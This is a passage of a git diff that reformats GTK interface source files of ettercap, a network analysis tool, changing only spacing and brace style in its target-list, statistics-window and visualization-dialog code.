gtk_tree_selection_get_selected_rows (selection1, &model); - for(list = g_list_last(list); list; list = g_list_previous(list)) { - gtk_tree_model_get_iter(model, &iter, list->data); - gtk_tree_model_get (model, &iter, 1, &il, -1); + if (gtk_tree_selection_count_selected_rows(selection1) > 0) { + list = gtk_tree_selection_get_selected_rows(selection1, &model); + for (list = g_list_last(list); list; list = g_list_previous(list)) { + gtk_tree_model_get_iter(model, &iter, list->data); + gtk_tree_model_get(model, &iter, 1, &il, -1); - /* remove the host from the list */ - del_ip_list(&il->ip, GBL_TARGET1); + /* remove the host from the list */ + del_ip_list(&il->ip, GBL_TARGET1); - gtk_list_store_remove(GTK_LIST_STORE (liststore1), &iter); - } + gtk_list_store_remove(GTK_LIST_STORE(liststore1), &iter); } - break; - case 2: - DEBUG_MSG("gtkui_delete_target: list 2"); - model = GTK_TREE_MODEL (liststore2); - - if(gtk_tree_selection_count_selected_rows(selection2) > 0) { - list = gtk_tree_selection_get_selected_rows (selection2, &model); - for(list = g_list_last(list); list; list = g_list_previous(list)) { - gtk_tree_model_get_iter(model, &iter, list->data); - gtk_tree_model_get (model, &iter, 1, &il, -1); - - /* remove the host from the list */ - del_ip_list(&il->ip, GBL_TARGET2); - - gtk_list_store_remove(GTK_LIST_STORE (liststore2), &iter); - } + } + break; + case 2: + DEBUG_MSG("gtkui_delete_target: list 2"); + model = GTK_TREE_MODEL(liststore2); + + if (gtk_tree_selection_count_selected_rows(selection2) > 0) { + list = gtk_tree_selection_get_selected_rows(selection2, &model); + for (list = g_list_last(list); list; list = g_list_previous(list)) { + gtk_tree_model_get_iter(model, &iter, list->data); + gtk_tree_model_get(model, &iter, 1, &il, -1); + + /* remove the host from the list */ + del_ip_list(&il->ip, GBL_TARGET2); + + gtk_list_store_remove(GTK_LIST_STORE(liststore2), &iter); } - break; + } + break; } - + /* free the list of selections */ - if(list) { - g_list_foreach (list,(GFunc) gtk_tree_path_free, NULL); - g_list_free (list); + if (list) { + g_list_foreach(list, (GFunc)gtk_tree_path_free, NULL); + g_list_free(list); } } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/gtk/ec_gtk_view.c b/src/interfaces/gtk/ec_gtk_view.c index a488ba4e9..dc97b9715 100644 --- a/src/interfaces/gtk/ec_gtk_view.c +++ b/src/interfaces/gtk/ec_gtk_view.c @@ -1,23 +1,23 @@ /* - ettercap -- GTK+ GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- GTK+ GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -45,17 +45,16 @@ static char vregex[RLEN]; static char wkey[WLEN]; static guint stats_idle; /* for removing the idle call */ /* for stats window */ -static GtkWidget *stats_window, *packets_recv, *packets_drop, *packets_forw, - *queue_len, *sample_rate, *recv_bottom, *recv_top, *interesting, +static GtkWidget *stats_window, *packets_recv, *packets_drop, *packets_forw, + *queue_len, *sample_rate, *recv_bottom, *recv_top, *interesting, *rate_bottom, *rate_top, *through_bottom, *through_top; /*******************************************/ - -/* +/* * If this option is being activated, - * it runs through the current hosts list and triggeres - * name resolution in the background. + * it runs through the current hosts list and triggeres + * name resolution in the background. * That way subsequent actions benefits from the filled cache */ void toggle_resolve(void) @@ -68,7 +67,7 @@ void toggle_resolve(void) GBL_OPTIONS->resolve = 0; resolv_thread_fini(); return; - } + } DEBUG_MSG("toggle_resolve: activate name resolution"); @@ -99,134 +98,134 @@ void gtkui_show_stats(void) /* if the object already exist, set the focus to it */ if (stats_window) { /* show stats window */ - if(GTK_IS_WINDOW (stats_window)) - gtk_window_present(GTK_WINDOW (stats_window)); + if (GTK_IS_WINDOW(stats_window)) + gtk_window_present(GTK_WINDOW(stats_window)); else gtkui_page_present(stats_window); return; } - + stats_window = gtkui_page_new("Statistics", >kui_stop_stats, >kui_stats_detach); /* alright, this is a lot of code but it'll keep everything lined up nicely */ /* if you need to add a row, don't forget to increase the number in gtk_table_new */ table = gtk_table_new(12, 2, FALSE); /* rows, cols, size */ - gtk_table_set_col_spacings(GTK_TABLE (table), 10); - gtk_container_add(GTK_CONTAINER (stats_window), table); + gtk_table_set_col_spacings(GTK_TABLE(table), 10); + gtk_container_add(GTK_CONTAINER(stats_window), table); packets_recv = gtk_label_new(" "); - gtk_label_set_selectable(GTK_LABEL (packets_recv), TRUE); - gtk_misc_set_alignment(GTK_MISC (packets_recv), 0, 0.5); + gtk_label_set_selectable(GTK_LABEL(packets_recv), TRUE); + gtk_misc_set_alignment(GTK_MISC(packets_recv), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), packets_recv, 1, 2, 0, 1); - label = gtk_label_new( "Received packets:"); - gtk_label_set_selectable(GTK_LABEL (label), TRUE); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); + label = gtk_label_new("Received packets:"); + gtk_label_set_selectable(GTK_LABEL(label), TRUE); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 0, 1); packets_drop = gtk_label_new(" "); - gtk_label_set_selectable(GTK_LABEL (packets_drop), TRUE); - gtk_misc_set_alignment(GTK_MISC (packets_drop), 0, 0.5); + gtk_label_set_selectable(GTK_LABEL(packets_drop), TRUE); + gtk_misc_set_alignment(GTK_MISC(packets_drop), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), packets_drop, 1, 2, 1, 2); - label = gtk_label_new("Dropped packets:"); - gtk_label_set_selectable(GTK_LABEL (label), TRUE); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); + label = gtk_label_new("Dropped packets:"); + gtk_label_set_selectable(GTK_LABEL(label), TRUE); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 1, 2); packets_forw = gtk_label_new(" 0 bytes: 0 "); - gtk_label_set_selectable(GTK_LABEL (packets_forw), TRUE); - gtk_misc_set_alignment(GTK_MISC (packets_forw), 0, 0.5); + gtk_label_set_selectable(GTK_LABEL(packets_forw), TRUE); + gtk_misc_set_alignment(GTK_MISC(packets_forw), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), packets_forw, 1, 2, 2, 3); - label = gtk_label_new("Forwarded packets:"); - gtk_label_set_selectable(GTK_LABEL (label), TRUE); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); + label = gtk_label_new("Forwarded packets:"); + gtk_label_set_selectable(GTK_LABEL(label), TRUE); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 2, 3); - queue_len = gtk_label_new("0/0 "); - gtk_label_set_selectable(GTK_LABEL (queue_len), TRUE); - gtk_misc_set_alignment(GTK_MISC (queue_len), 0, 0.5); + queue_len = gtk_label_new("0/0 "); + gtk_label_set_selectable(GTK_LABEL(queue_len), TRUE); + gtk_misc_set_alignment(GTK_MISC(queue_len), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), queue_len, 1, 2, 3, 4); - label = gtk_label_new("Current queue length:"); - gtk_label_set_selectable(GTK_LABEL (label), TRUE); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); + label = gtk_label_new("Current queue length:"); + gtk_label_set_selectable(GTK_LABEL(label), TRUE); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 3, 4); - sample_rate = gtk_label_new("0 "); - gtk_label_set_selectable(GTK_LABEL (sample_rate), TRUE); - gtk_misc_set_alignment(GTK_MISC (sample_rate), 0, 0.5); + sample_rate = gtk_label_new("0 "); + gtk_label_set_selectable(GTK_LABEL(sample_rate), TRUE); + gtk_misc_set_alignment(GTK_MISC(sample_rate), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), sample_rate, 1, 2, 4, 5); - label = gtk_label_new("Sampling rate:"); - gtk_label_set_selectable(GTK_LABEL (label), TRUE); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); + label = gtk_label_new("Sampling rate:"); + gtk_label_set_selectable(GTK_LABEL(label), TRUE); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 4, 5); - recv_bottom = gtk_label_new("pck: 0 bytes: 0"); - gtk_label_set_selectable(GTK_LABEL (recv_bottom), TRUE); - gtk_misc_set_alignment(GTK_MISC (recv_bottom), 0, 0.5); + recv_bottom = gtk_label_new("pck: 0 bytes: 0"); + gtk_label_set_selectable(GTK_LABEL(recv_bottom), TRUE); + gtk_misc_set_alignment(GTK_MISC(recv_bottom), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), recv_bottom, 1, 2, 5, 6); - label = gtk_label_new("Bottom Half received packet:"); - gtk_label_set_selectable(GTK_LABEL (label), TRUE); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); + label = gtk_label_new("Bottom Half received packet:"); + gtk_label_set_selectable(GTK_LABEL(label), TRUE); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 5, 6); - recv_top = gtk_label_new("pck: 0 bytes: 0"); - gtk_label_set_selectable(GTK_LABEL (recv_top), TRUE); - gtk_misc_set_alignment(GTK_MISC (recv_top), 0, 0.5); + recv_top = gtk_label_new("pck: 0 bytes: 0"); + gtk_label_set_selectable(GTK_LABEL(recv_top), TRUE); + gtk_misc_set_alignment(GTK_MISC(recv_top), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), recv_top, 1, 2, 6, 7); - label = gtk_label_new("Top Half received packet:"); - gtk_label_set_selectable(GTK_LABEL (label), TRUE); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); + label = gtk_label_new("Top Half received packet:"); + gtk_label_set_selectable(GTK_LABEL(label), TRUE); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 6, 7); - interesting = gtk_label_new("0.00 %"); - gtk_label_set_selectable(GTK_LABEL (interesting), TRUE); - gtk_misc_set_alignment(GTK_MISC (interesting), 0, 0.5); + interesting = gtk_label_new("0.00 %"); + gtk_label_set_selectable(GTK_LABEL(interesting), TRUE); + gtk_misc_set_alignment(GTK_MISC(interesting), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), interesting, 1, 2, 7, 8); - label = gtk_label_new("Interesting packets:"); - gtk_label_set_selectable(GTK_LABEL (label), TRUE); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); + label = gtk_label_new("Interesting packets:"); + gtk_label_set_selectable(GTK_LABEL(label), TRUE); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 7, 8); - rate_bottom = gtk_label_new("worst: 0 adv: 0 b/s"); - gtk_label_set_selectable(GTK_LABEL (rate_bottom), TRUE); - gtk_misc_set_alignment(GTK_MISC (rate_bottom), 0, 0.5); + rate_bottom = gtk_label_new("worst: 0 adv: 0 b/s"); + gtk_label_set_selectable(GTK_LABEL(rate_bottom), TRUE); + gtk_misc_set_alignment(GTK_MISC(rate_bottom), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), rate_bottom, 1, 2, 8, 9); - label = gtk_label_new("Bottom Half packet rate:"); - gtk_label_set_selectable(GTK_LABEL (label), TRUE); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); + label = gtk_label_new("Bottom Half packet rate:"); + gtk_label_set_selectable(GTK_LABEL(label), TRUE); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 8, 9); - rate_top = gtk_label_new("worst: 0 adv: 0 b/s"); - gtk_label_set_selectable(GTK_LABEL (rate_top), TRUE); - gtk_misc_set_alignment(GTK_MISC (rate_top), 0, 0.5); + rate_top = gtk_label_new("worst: 0 adv: 0 b/s"); + gtk_label_set_selectable(GTK_LABEL(rate_top), TRUE); + gtk_misc_set_alignment(GTK_MISC(rate_top), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), rate_top, 1, 2, 9, 10); - label = gtk_label_new("Top Half packet rate:"); - gtk_label_set_selectable(GTK_LABEL (label), TRUE); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); + label = gtk_label_new("Top Half packet rate:"); + gtk_label_set_selectable(GTK_LABEL(label), TRUE); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 9, 10); through_bottom = gtk_label_new("worst: 0 adv: 0 b/s"); - gtk_label_set_selectable(GTK_LABEL (through_bottom), TRUE); - gtk_misc_set_alignment(GTK_MISC (through_bottom), 0, 0.5); + gtk_label_set_selectable(GTK_LABEL(through_bottom), TRUE); + gtk_misc_set_alignment(GTK_MISC(through_bottom), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), through_bottom, 1, 2, 10, 11); - label = gtk_label_new("Bottom Half throughput:"); - gtk_label_set_selectable(GTK_LABEL (label), TRUE); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); + label = gtk_label_new("Bottom Half throughput:"); + gtk_label_set_selectable(GTK_LABEL(label), TRUE); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 10, 11); - through_top = gtk_label_new("worst: 0 adv: 0 b/s"); - gtk_label_set_selectable(GTK_LABEL (through_top), TRUE); - gtk_misc_set_alignment(GTK_MISC (through_top), 0, 0.5); + through_top = gtk_label_new("worst: 0 adv: 0 b/s"); + gtk_label_set_selectable(GTK_LABEL(through_top), TRUE); + gtk_misc_set_alignment(GTK_MISC(through_top), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), through_top, 1, 2, 11, 12); - label = gtk_label_new("Top Half throughput:"); - gtk_label_set_selectable(GTK_LABEL (label), TRUE); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); + label = gtk_label_new("Top Half throughput:"); + gtk_label_set_selectable(GTK_LABEL(label), TRUE); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 11, 12); gtk_widget_show_all(table); gtk_widget_show(stats_window); - + /* display the stats */ - refresh_stats(NULL); + refresh_stats(NULL); /* refresh the stats window every 200 ms */ /* GTK has a gtk_idle_add also but it calls too much and uses 100% cpu */ @@ -236,16 +235,16 @@ void gtkui_show_stats(void) static void gtkui_stats_detach(GtkWidget *child) { stats_window = gtk_window_new(GTK_WINDOW_TOPLEVEL); - gtk_window_set_title(GTK_WINDOW (stats_window), "Statistics"); - gtk_container_set_border_width(GTK_CONTAINER (stats_window), 10); - g_signal_connect (G_OBJECT (stats_window), "delete_event", G_CALLBACK (gtkui_stop_stats), NULL); + gtk_window_set_title(GTK_WINDOW(stats_window), "Statistics"); + gtk_container_set_border_width(GTK_CONTAINER(stats_window), 10); + g_signal_connect(G_OBJECT(stats_window), "delete_event", G_CALLBACK(gtkui_stop_stats), NULL); /* make d shortcut turn the window back into a tab */ gtkui_page_attach_shortcut(stats_window, gtkui_stats_attach); - - gtk_container_add(GTK_CONTAINER (stats_window), child); - gtk_window_present(GTK_WINDOW (stats_window)); + gtk_container_add(GTK_CONTAINER(stats_window), child); + + gtk_window_present(GTK_WINDOW(stats_window)); } static void gtkui_stats_attach(void) @@ -268,52 +267,52 @@ static gboolean refresh_stats(gpointer data) char line[50]; /* variable not used */ - (void) data; + (void)data; /* if not focused don't refresh it */ - /* this also removes the idle call, but should - only occur if the window isn't visible */ + /* this also removes the idle call, but should + * only occur if the window isn't visible */ if (!gtk_widget_get_visible(stats_window)) return FALSE; - snprintf(line, 50, "%8"PRIu64, GBL_STATS->ps_recv); - gtk_label_set_text(GTK_LABEL (packets_recv), line); - snprintf(line, 50, "%8"PRIu64" %.2f %%", GBL_STATS->ps_drop, - (GBL_STATS->ps_recv) ? (float)GBL_STATS->ps_drop * 100 / GBL_STATS->ps_recv : 0 ); - gtk_label_set_text(GTK_LABEL (packets_drop), line); - snprintf(line, 50, "%8"PRIu64" bytes: %8"PRIu64" ", GBL_STATS->ps_sent, GBL_STATS->bs_sent); - gtk_label_set_text(GTK_LABEL (packets_forw), line); + snprintf(line, 50, "%8" PRIu64, GBL_STATS->ps_recv); + gtk_label_set_text(GTK_LABEL(packets_recv), line); + snprintf(line, 50, "%8" PRIu64 " %.2f %%", GBL_STATS->ps_drop, + (GBL_STATS->ps_recv) ? (float)GBL_STATS->ps_drop * 100 / GBL_STATS->ps_recv : 0); + gtk_label_set_text(GTK_LABEL(packets_drop), line); + snprintf(line, 50, "%8" PRIu64 " bytes: %8" PRIu64 " ", GBL_STATS->ps_sent, GBL_STATS->bs_sent); + gtk_label_set_text(GTK_LABEL(packets_forw), line); snprintf(line, 50, "%lu/%lu ", GBL_STATS->queue_curr, GBL_STATS->queue_max); - gtk_label_set_text(GTK_LABEL (queue_len), line); + gtk_label_set_text(GTK_LABEL(queue_len), line); snprintf(line, 50, "%d ", GBL_CONF->sampling_rate); - gtk_label_set_text(GTK_LABEL (sample_rate), line); - snprintf(line, 50, "pck: %8"PRIu64" bytes: %8"PRIu64, - GBL_STATS->bh.pck_recv, GBL_STATS->bh.pck_size); - gtk_label_set_text(GTK_LABEL (recv_bottom), line); - snprintf(line, 50, "pck: %8"PRIu64" bytes: %8"PRIu64, - GBL_STATS->th.pck_recv, GBL_STATS->th.pck_size); - gtk_label_set_text(GTK_LABEL (recv_top), line); + gtk_label_set_text(GTK_LABEL(sample_rate), line); + snprintf(line, 50, "pck: %8" PRIu64 " bytes: %8" PRIu64, + GBL_STATS->bh.pck_recv, GBL_STATS->bh.pck_size); + gtk_label_set_text(GTK_LABEL(recv_bottom), line); + snprintf(line, 50, "pck: %8" PRIu64 " bytes: %8" PRIu64, + GBL_STATS->th.pck_recv, GBL_STATS->th.pck_size); + gtk_label_set_text(GTK_LABEL(recv_top), line); snprintf(line, 50, "%.2f %%", - (GBL_STATS->bh.pck_recv) ? (float)GBL_STATS->th.pck_recv * 100 / GBL_STATS->bh.pck_recv : 0 ); - gtk_label_set_text(GTK_LABEL (interesting), line); - snprintf(line, 50, "worst: %8lu adv: %8lu p/s", - GBL_STATS->bh.rate_worst, GBL_STATS->bh.rate_adv); - gtk_label_set_text(GTK_LABEL (rate_bottom), line); - snprintf(line, 50, "worst: %8lu adv: %8lu p/s", - GBL_STATS->th.rate_worst, GBL_STATS->th.rate_adv); - gtk_label_set_text(GTK_LABEL (rate_top), line); - snprintf(line, 50, "worst: %8lu adv: %8lu b/s", - GBL_STATS->bh.thru_worst, GBL_STATS->bh.thru_adv); - gtk_label_set_text(GTK_LABEL (through_bottom), line); - snprintf(line, 50, "worst: %8lu adv: %8lu b/s", - GBL_STATS->th.thru_worst, GBL_STATS->th.thru_adv); - gtk_label_set_text(GTK_LABEL (through_top), line); - - return(TRUE); + (GBL_STATS->bh.pck_recv) ? (float)GBL_STATS->th.pck_recv * 100 / GBL_STATS->bh.pck_recv : 0); + gtk_label_set_text(GTK_LABEL(interesting), line); + snprintf(line, 50, "worst: %8lu adv: %8lu p/s", + GBL_STATS->bh.rate_worst, GBL_STATS->bh.rate_adv); + gtk_label_set_text(GTK_LABEL(rate_bottom), line); + snprintf(line, 50, "worst: %8lu adv: %8lu p/s", + GBL_STATS->th.rate_worst, GBL_STATS->th.rate_adv); + gtk_label_set_text(GTK_LABEL(rate_top), line); + snprintf(line, 50, "worst: %8lu adv: %8lu b/s", + GBL_STATS->bh.thru_worst, GBL_STATS->bh.thru_adv); + gtk_label_set_text(GTK_LABEL(through_bottom), line); + snprintf(line, 50, "worst: %8lu adv: %8lu b/s", + GBL_STATS->th.thru_worst, GBL_STATS->th.thru_adv); + gtk_label_set_text(GTK_LABEL(through_top), line); + + return TRUE; } /* - * change the visualization method + * change the visualization method */ void gtkui_vis_method(void) { @@ -330,11 +329,11 @@ void gtkui_vis_method(void) DEBUG_MSG("gtk_vis_method"); - dialog = gtk_dialog_new_with_buttons("Visualization method...", GTK_WINDOW (window), - GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT, - GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, - GTK_STOCK_OK, GTK_RESPONSE_OK, - NULL); + dialog = gtk_dialog_new_with_buttons("Visualization method...", GTK_WINDOW(window), + GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT, + GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, + GTK_STOCK_OK, GTK_RESPONSE_OK, + NULL); gtk_container_set_border_width(GTK_CONTAINER(dialog), 10); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); @@ -342,60 +341,60 @@ void gtkui_vis_method(void) vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); gtk_container_add(GTK_CONTAINER(content_area), vbox); - button = gtk_radio_button_new_with_label(NULL, - "Print the packets in hex format."); + button = gtk_radio_button_new_with_label(NULL, + "Print the packets in hex format."); gtk_box_pack_start(GTK_BOX(vbox), button, FALSE, FALSE, 0); - if(strcmp(vmethod, "hex") == 0) - gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON (button), TRUE); + if (strcmp(vmethod, "hex") == 0) + gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(button), TRUE); prev = button; - button = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON (prev), - "Print only \"printable\" characters, the others are displayed as dots '.'"); + button = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON(prev), + "Print only \"printable\" characters, the others are displayed as dots '.'"); gtk_box_pack_start(GTK_BOX(vbox), button, FALSE, FALSE, 0); - if(strcmp(vmethod, "ascii") == 0) - gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON (button), TRUE); + if (strcmp(vmethod, "ascii") == 0) + gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(button), TRUE); prev = button; - button = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON (prev), - "Print only the \"printable\" characters and skip the others."); + button = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON(prev), + "Print only the \"printable\" characters and skip the others."); gtk_box_pack_start(GTK_BOX(vbox), button, FALSE, FALSE, 0); - if(strcmp(vmethod, "text") == 0) - gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON (button), TRUE); + if (strcmp(vmethod, "text") == 0) + gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(button), TRUE); prev = button; - button = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON (prev), - "Convert an EBCDIC text to ASCII."); + button = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON(prev), + "Convert an EBCDIC text to ASCII."); gtk_box_pack_start(GTK_BOX(vbox), button, FALSE, FALSE, 0); - if(strcmp(vmethod, "ebcdic") == 0) - gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON (button), TRUE); + if (strcmp(vmethod, "ebcdic") == 0) + gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(button), TRUE); prev = button; - button = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON (prev), - "Strip all the html tags from the text. A tag is every string between < and >."); + button = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON(prev), + "Strip all the html tags from the text. A tag is every string between < and >."); gtk_box_pack_start(GTK_BOX(vbox), button, FALSE, FALSE, 0); - if(strcmp(vmethod, "html") == 0) - gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON (button), TRUE); + if (strcmp(vmethod, "html") == 0) + gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(button), TRUE); prev = button; /* start UTF8 */ - button = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON (prev), - "Convert the data from the encoding specified below to UTF8 before displaying it."); + button = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON(prev), + "Convert the data from the encoding specified below to UTF8 before displaying it."); gtk_box_pack_start(GTK_BOX(vbox), button, FALSE, FALSE, 0); - if(strcmp(vmethod, "utf8") == 0) - gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON (button), TRUE); + if (strcmp(vmethod, "utf8") == 0) + gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(button), TRUE); prev = button; hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 6, FALSE); gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); - label = gtk_label_new ("Character encoding : "); - gtk_box_pack_start (GTK_BOX (hbox), label, FALSE, FALSE, 0); + label = gtk_label_new("Character encoding : "); + gtk_box_pack_start(GTK_BOX(hbox), label, FALSE, FALSE, 0); /* Fill a list of available encodings */ lang_list = gtk_list_store_new(1, G_TYPE_STRING); /* get the system's default encoding, and if it's not UTF8, add it to the list */ - if(!g_get_charset(&local_lang)) { + if (!g_get_charset(&local_lang)) { snprintf(def_lang, 75, "%s (System Default)", local_lang); gtk_list_store_append(lang_list, &iter); gtk_list_store_set(lang_list, &iter, 0, def_lang, -1); @@ -441,45 +440,50 @@ void gtkui_vis_method(void) gtk_cell_layout_pack_start(GTK_CELL_LAYOUT(lang_combo), cell, TRUE); gtk_cell_layout_set_attributes(GTK_CELL_LAYOUT(lang_combo), cell, "text", 0, NULL); gtk_combo_box_set_active(GTK_COMBO_BOX(lang_combo), 0); - gtk_box_pack_start (GTK_BOX(hbox), lang_combo, TRUE, TRUE, 0); - + gtk_box_pack_start(GTK_BOX(hbox), lang_combo, TRUE, TRUE, 0); + gtk_widget_show_all(vbox); - response = gtk_dialog_run(GTK_DIALOG (dialog)); - if(response == GTK_RESPONSE_OK) { + response = gtk_dialog_run(GTK_DIALOG(dialog)); + if (response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); /* see which button was clicked */ active = 0; - for(curr = gtk_radio_button_get_group(GTK_RADIO_BUTTON (button)); curr; curr = curr->next) { + for (curr = gtk_radio_button_get_group(GTK_RADIO_BUTTON(button)); curr; curr = curr->next) { active++; - if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (curr->data))) + if (gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(curr->data))) break; } /* set vmethod string */ - int i=0; + int i = 0; memset(vmethod, 0, VLEN); - switch(active) { - case 6: strncpy(vmethod, "hex", 3); break; - case 5: strncpy(vmethod, "ascii", 5); break; - case 4: strncpy(vmethod, "text", 4); break; - case 3: strncpy(vmethod, "ebcdic", 6); break; - case 2: strncpy(vmethod, "html", 4); break; - case 1: /* utf8 */ - /* copy first word from encoding choice */ - gtk_combo_box_get_active_iter(GTK_COMBO_BOX(lang_combo), &iter); - model = gtk_combo_box_get_model(GTK_COMBO_BOX(lang_combo)); - gtk_tree_model_get(model, &iter, 0, &selected_lang, -1); - i=sscanf(selected_lang, "%[^ ]", encoding); - BUG_IF(i!=1); - if(strlen(encoding) > 0) { - strncpy(vmethod, "utf8", 4); - set_utf8_encoding(encoding); - break; - } - default: strncpy(vmethod, "ascii", 5); + switch (active) { + case 6: strncpy(vmethod, "hex", 3); + break; + case 5: strncpy(vmethod, "ascii", 5); + break; + case 4: strncpy(vmethod, "text", 4); + break; + case 3: strncpy(vmethod, "ebcdic", 6); + break; + case 2: strncpy(vmethod, "html", 4); + break; + case 1: /* utf8 */ + /* copy first word from encoding choice */ + gtk_combo_box_get_active_iter(GTK_COMBO_BOX(lang_combo), &iter); + model = gtk_combo_box_get_model(GTK_COMBO_BOX(lang_combo)); + gtk_tree_model_get(model, &iter, 0, &selected_lang, -1); + i = sscanf(selected_lang, "%[^ ]", encoding); + BUG_IF(i != 1); + if (strlen(encoding) > 0) { + strncpy(vmethod, "utf8", 4); + set_utf8_encoding(encoding); + break; + } + default: strncpy(vmethod, "ascii", 5); } set_format(vmethod); @@ -489,7 +493,7 @@ void gtkui_vis_method(void) } /* - * set the visualization regex + * set the visualization regex */ void gtkui_vis_regex(void) { @@ -521,4 +525,3 @@ static void gtkui_set_wifikey(void) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/gtk/ec_gtk_view_connections.c b/src/interfaces/gtk/ec_gtk_view_connections.c index b55e1755a..0a3a682fe 100644 --- a/src/interfaces/gtk/ec_gtk_view_connections.c +++ b/src/interfaces/gtk/ec_gtk_view_connections.c @@ -1,23 +1,23 @@ /* - ettercap -- GTK+ GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS 